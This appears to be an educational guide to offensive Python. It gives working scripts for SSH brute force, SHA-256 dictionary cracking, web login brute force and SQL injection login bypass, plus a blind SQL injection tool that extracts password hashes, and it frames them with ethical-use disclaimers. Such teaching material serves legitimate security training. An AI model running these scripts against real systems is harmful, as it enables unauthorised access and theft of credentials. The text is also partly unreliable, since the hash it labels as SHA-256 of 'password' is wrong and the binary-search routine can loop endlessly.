Python 101 for Hackers - Educational Guide

Written by: G. Chanuka Isuru Sampath

LinkedIn: https://www.linkedin.com/in/chanuka-isuru-sampath-289358247/

Introduction:

This document contains a series of Python projects focused on ethical hacking techniques, including:

- **SSH brute force**
- **SHA-256 password cracking**
- **web login brute force**
- **SQL injection**
- **Restricted SQL Injection**

These projects are intended **solely for educational purposes** and should only be used in environments where explicit permission has been granted. Unauthorized use of these techniques is illegal and unethical.

Disclaimer:

This material is provided for educational purposes only. Unauthorized use of these tools or techniques on systems without permission is illegal and unethical. The creator(s) of this document are not responsible for any misuse of the information contained within.

Project List:

1. SSH Brute Force Attack

➢ **Purpose:** This project simulates a brute force attack on SSH (Secure Shell) using a list of potential passwords. It's useful for understanding how an attacker might try to gain unauthorized access to a system via weak SSH credentials.

➢ Code Implementation:

```python
from pwn import *

def ssh_bruteforce(host, username, password_list):
    for password in password_list:
        try:
            session = ssh(host=host, user=username, password=password, timeout=5)
            print(f"[+] Password found: {password}")
            return session
        except AuthenticationException:
            print(f"[-] Password failed: {password}")
        except Exception as e:
            print(f"[!] Error: {str(e)}")
    return None

host = "127.0.0.1"
username = "root"
password_list = ["1234", "admin", "password"]
session = ssh_bruteforce(host, username, password_list)
if session:
    print("[+] SSH session established.")
```

➢ Explanation:

- **from pwn import *:**
  This imports functions from the pwn library, which is useful

for penetration testing tasks like SSH brute-forcing. The library simplifies establishing SSH connections and handling authentication.

- **ssh_bruteforce():**
  This function iterates through a list of passwords and attempts to establish an SSH connection using each one.
- **Loop:**
  The loop iterates over each password in the list and attempts an SSH login using that password.
- **AuthenticationException:**
  This exception is triggered when the password is incorrect, and the function moves on to the next password in the list.

➢ **What you'll learn:**

This project will teach you how attackers attempt to gain unauthorized access to systems by guessing SSH passwords through brute force methods. You'll learn how to use Python to automate SSH login attempts with various passwords and how to handle errors such as authentication failures. This project also emphasizes the importance of using strong passwords and securing SSH connections against brute force attacks.

2. SHA-256 Hash Cracking

➢ **Purpose:** how to crack a SHA-256 password hash using a dictionary attack. It helps in understanding how attackers might recover passwords from hashed data if the hash is not properly salted or secured.

➢ Code Implementation:

```python
import hashlib

def sha256_crack(hash_to_crack, wordlist):
    for word in wordlist:
        hashed_word = hashlib.sha256(word.encode()).hexdigest()
        if hashed_word == hash_to_crack:
            print(f"[+] Password found: {word}")
            return word
        print(f"[-] Attempt failed: {word}")
    print("[!] Password not found.")
    return None

# hash for 'password'
hash_to_crack = "5e884898da28047151d0e56f8dc6292773603d0d6aabbdd2f8a5b04b323c25b"
wordlist = ["1234", "admin", "password"]
sha256_crack(hash_to_crack, wordlist)
```

➢ Explanation:

- **import hashlib:**
  The hashlib library is imported to use its sha256() function, which generates the SHA-256 hash of a password.
- **sha256_crack():**
  This function accepts a target hash and a list of

possible passwords, comparing the SHA-256 hash of each password with the target hash.

- **Loop:**
  The loop goes through each word in the wordlist, hashes it, and checks if the resulting hash matches the target hash.

➢ **What you'll learn:**

In this project, you'll learn about hashing functions and how they are used to store passwords securely. You will also learn how attackers can use dictionary-based attacks to crack SHA-256 password hashes. By utilizing Python's hashlib library, you'll gain a deeper understanding of how hashes work and the importance of adding complexity to password storage for better security.

3. Web Login Brute Force

➢ **Purpose:** Attempts to brute force web login credentials using a wordlist. It helps in understanding how attackers exploit weak login mechanisms in web applications.

➢ Code Implementation:

```python
import requests

def web_bruteforce(url, username, password_list):
    for password in password_list:
        response = requests.post(url, data={"username": username, "password": password})
        if "Welcome back" in response.text:
            print(f"[+] Password found: {password}")
            return password
        print(f"[-] Password failed: {password}")
    print("[!] Password not found.")
    return None

url = "http://example.com/login"
username = "admin"
password_list = ["1234", "admin", "password"]
web_bruteforce(url, username, password_list)
```

➢ Explanation:

- **import requests:**
  The requests library is used to send HTTP requests to the login endpoint with different username and password combinations.
- **web_bruteforce():**
  This function sends a POST request to the login page

with the provided username and each password from the list to check if login is successful.

- **Loop:**
  The loop sends POST requests with each password to try and gain access. It checks the response to determine whether the login was successful.

➢ **What you'll learn:**

This project demonstrates how web applications can be vulnerable to brute force login attempts. You'll learn how to automate the process of testing multiple username and password combinations on a login page using Python's requests library. It will help you understand the risks of weak authentication mechanisms in web applications and teach you how to secure web forms with techniques like CAPTCHAs and rate-limiting.

4. SQL Injection (Blind)

➢ **Purpose:** Exploits blind SQL injection to extract data from a vulnerable web application. It helps in understanding how attackers manipulate SQL queries to access restricted data.

➢ **Code Implementation:**

```python
import requests

def sql_injection(url, payloads):
    for payload in payloads:
        response = requests.post(url, data={"username": payload, "password": "password"})
        if "Welcome back" in response.text:
            print(f"[+] Injection successful with payload: {payload}")
            return payload
        print(f"[-] Payload failed: {payload}")
    print("[!] Injection unsuccessful.")
    return None

url = "http://example.com/login"
payloads = ["admin' --", "admin' OR '1'='1" ]
sql_injection(url, payloads)

```

➢ **Explanation:**

- **import requests**:
  The requests library is used to send POST requests with malicious SQL payloads to the login endpoint.
- **sql_injection()** :
  This function sends crafted SQL payloads to the web application to test for SQL injection vulnerabilities.

- **Loop**:
  The loop iterates over a list of potential SQL injection payloads and tests each one by sending a POST request with the payload as part of the login data.

➢ **What you'll learn:**

Through this project, you'll understand how SQL injection attacks can exploit improperly sanitized user inputs in web applications. You'll learn how attackers can manipulate SQL queries to gain unauthorized access to databases or execute unintended commands. By using Python to automate these attacks, you'll also discover how to protect applications from SQL injection by using secure coding practices, such as prepared statements and parameterized queries.

5. Restricted SQL Injection

- **Purpose:**Demonstrates how blind SQL injection can be used to extract password hashes from a database, simulating the methods attackers use to retrieve sensitive data.

➢ Code Implementation:

```python
import requests

total_queries = 0
charset = "0123456789abcdef"
#for hex chars
target = "http://127.0.0.1:8080"
needle = "Welcome back"

def injected_query(payload):
    global total_queries
    #blind SQLi
    r = requests.post(target, data={"username": "admin' or {}--".format(payload), "password":"password"})
    total_queries += 1
    return needle.encode() not in r.content

def boolean_query(offset, user_id, character, operator=">"):
    payload = "(select hex(substr(password,{},1)) from user where id={}) {} hex('{}')".format(offset+1, user_id, operator, character)
    return injected_query(payload)

def invalid_user(user_id):
    payload = "(select id from user where id = {}) >= 0".format(user_id)
    return injected_query(payload)

def password_length(user_id):
    i = 0
    while True:
        payload = "(select length(password) from user where id = {} and length(password) <= {} limit 1)".format(user_id, i)
        if not injected_query(payload):
            return i
        i += 1

```

```python
def extract_hash(charset, user_id, password_length):
    found = ""
    #iterate over password length
    for i in range(0, password_length):
        for j in range(len(charset)):
            if boolean_query(i, user_id, charset[j]):
                found += charset[j]
                break
    return found

#binary search
def extract_hash_bst(charset, user_id, password_length):
    found = ""
    #iterate
    for index in range(0, password_length):
        start = 0
        end = len(charset) - 1
        while start <= end:
            if end - start == 1:
                if start == 0 and boolean_query(index, user_id, charset[start]):
                    found += charset[start]
                else:
                    found += charset[start + 1]
                break
            else:
                mid = (start + end) // 2
                if boolean_query(index, user_id, charset[mid]):
                    end = mid
                else:
                    start = mid
    return found

```

```python
def total_queries_reqd():
    global total_queries
    print("\t\t[!] {} total queries!".format(total_queries))
    total_queries = 0

while True:
    try:
        user_id = input(">> Enter user ID to extract password hash: ")
        if not invalid_user(user_id):
            user_password_length = password_length(user_id)
            print("\t[-] User {} hash length: {}".format(user_id, user_password_length))
            total_queries_reqd()
            print("\t[-] User {} hash: {}".format(user_id, extract_hash(charset, int(user_id), user_password_length)))
            total_queries_reqd()
            #for comparison
            print("\t[-] User {} hash: {}".format(user_id, extract_hash_bst(charset, int(user_id), user_password_length)))
            total_queries_reqd()
        else:
            print("\t[-] User {} does not exist!".format(user_id))
    #exit program
    except KeyboardInterrupt:
        break

```

➢ Explanation:

- **import requests:** Sends HTTP requests to simulate interactions with the vulnerable application. This library enables the script to craft POST requests with SQL injection payloads.
- **boolean_query():** Crafts SQL queries to extract individual characters of sensitive data, like password hashes, using Boolean logic. It verifies the presence of a character by comparing its hexadecimal representation.
- **extract_hash():** Uses an iterative approach to match each character of the hash in sequence. It attempts every character in the charset until a match is found.
- **extract_hash_bst():** Optimizes the extraction process using binary search on the charset, reducing the number of required queries. This technique is particularly useful for larger datasets or longer passwords.

➢ What you'll learn:

In this project, you'll learn how blind SQL injection vulnerabilities allow attackers to extract sensitive information, such as password hashes, from a database. By automating the process using Python, you'll gain insight into:
- Crafting and injecting malicious SQL payloads.
- Extracting individual characters of sensitive data using Boolean logic.

- Optimizing data extraction through binary search techniques.
- The critical importance of securing databases by implementing input sanitization and using parameterized queries.

This project emphasizes the risks associated with insecure SQL queries and equips you with the knowledge to mitigate such vulnerabilities effectively.

❖Guidelines for Use:

1. **Permission is Mandatory:** Only test systems where you have explicit authorization.
2. **Use in Isolated Environments:** Conduct experiments in a controlled lab environment or a virtual machine.
3. **Do Not Distribute Maliciously:** Sharing scripts or tools must include proper disclaimers and guidelines for ethical use.
4. **Follow Laws and Regulations:** Ensure compliance with local laws related to cybersecurity.

❖Acknowledgements:

This document and the associated projects are inspired by cybersecurity learning resources, including TCM Security's "Python 101 for Hackers" course conducted by **Riley Kidd**. Proper credits are extended to the original creators for their educational material.

❖Conclusion:

Ethical hacking is a powerful skill that comes with great responsibility. By following the projects outlined in this document, learners can gain practical experience while adhering to ethical and legal standards. Always prioritize

permission, respect privacy, and contribute to improving cybersecurity for all.

❖Further Credit and Resources:

- This material is derived from the Python 101 for Hackers course by **TCM Security**.
- For more educational content and professional certifications, visit the official website of **TCM Security** at tcm-sec.com.
- Author of the original Python 101 course: **Riley Kidd**.
- If you wish to learn more, consider enrolling in their comprehensive courses to gain hands-on experience in ethical hacking.

❖Sharing Ethically:

This document is open to share under these conditions:

1. Do not remove credits to the original authors.
2. Include all disclaimers to ensure ethical usage.
3. Encourage learners to follow and support the original course creators.